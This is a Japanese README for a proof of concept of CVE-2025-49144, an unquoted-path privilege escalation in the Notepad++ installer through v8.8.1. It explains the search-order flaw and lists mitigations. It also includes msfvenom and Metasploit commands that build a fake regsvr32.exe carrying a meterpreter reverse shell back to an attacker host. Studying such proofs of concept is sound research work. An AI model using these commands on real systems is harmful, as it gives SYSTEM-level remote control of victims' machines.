
セキュリティ研究者がテストおよび試用できるCVE-2025-49144 PoC。

📌 CVE-2025-49144 は、Notepad++ v8.8.1 およびそれ以前のバージョンのインストーラに見つかった、深刻度の高いローカル権限昇格の脆弱性です。この脆弱性は、インストール中に実行可能ファイルの検索パスが制御されていないことに起因し、ローカルの攻撃者がインストーラと同じディレクトリに悪意のある実行ファイルを配置することで、SYSTEM レベルの権限を獲得できる可能性があります。
⚙️ この CVE の仕組み – ステップバイステップ:
🧱 1. インストーラの何が問題だったのか?
Notepad++ インストーラ(v8.8.2 より前)は、いくつかのコンポーネントを登録するために regsvr32.exe を呼び出しますが、その際に完全なパス(C:\Windows\System32\regsvr32.exe など)を指定しません。
代わりに、単に次のように実行します:
regsvr32.exe some_dll
📂 2. Windows の検索パスの動作: 実行ファイルが完全なパスなしで起動された場合、Windows はファイルを見つけるために特定の検索順序を使用します:
アプリケーションが起動されたフォルダー(例: Downloads)
システムフォルダー(System32)
Windows フォルダー
現在の作業ディレクトリ
PATH 環境変数内のパス
したがって、偽の regsvr32.exe がインストーラと同じフォルダー(例: Downloads)に配置されている場合、Windows は本物の regsvr32.exe よりも先にそれを使用します。
💣 3. 悪用:
- 攻撃者は、正規の Notepad++ インストーラと同じフォルダー(例: 被害者の Downloads フォルダー)に悪意のある regsvr32.exe を配置します。
- 被害者は(安全だと思って)インストーラを実行します。
- インストーラは regsvr32.exe を呼び出しますが、同じフォルダーにある悪意のあるものを SYSTEM 権限で実行してしまいます(インストーラは通常、管理者権限を要求するため)。
- 攻撃者のペイロードは、NT AUTHORITY\SYSTEM として実行されることになります。
⚙️ 再現手順:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -f c > shellcode.txt
x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST X.X.X.X
set LPORT 4444
run
注: これは PoC であり、Windows Defender とリアルタイム保護を無効にしてテストされています。
✅ 緩和策
ユーザーと管理者は以下を行う必要があります:
Notepad++ v8.8.2 以降にアップグレードする
ソフトウェアのインストールを信頼できる管理者に限定する
AppLocker、WDAC、またはソフトウェアの制限ポリシー(SRP)を使用して:
セキュリティチームは、攻撃対象領域を減らすために、インストールパスを定期的に監査し、書き込み権限を監視し、インストーラ実行中の動作を観察する必要があります。
MIT ライセンス — 教育、研究、および防御目的のみに無料で使用できます。
Pull Request を歓迎します — 検出の改善、機能の追加、修正の提案など。
この PoC は教育および研究目的のみを対象としています。自己責任で使用してください。作者は、誤用または引き起こされた損害について一切の責任を負いません。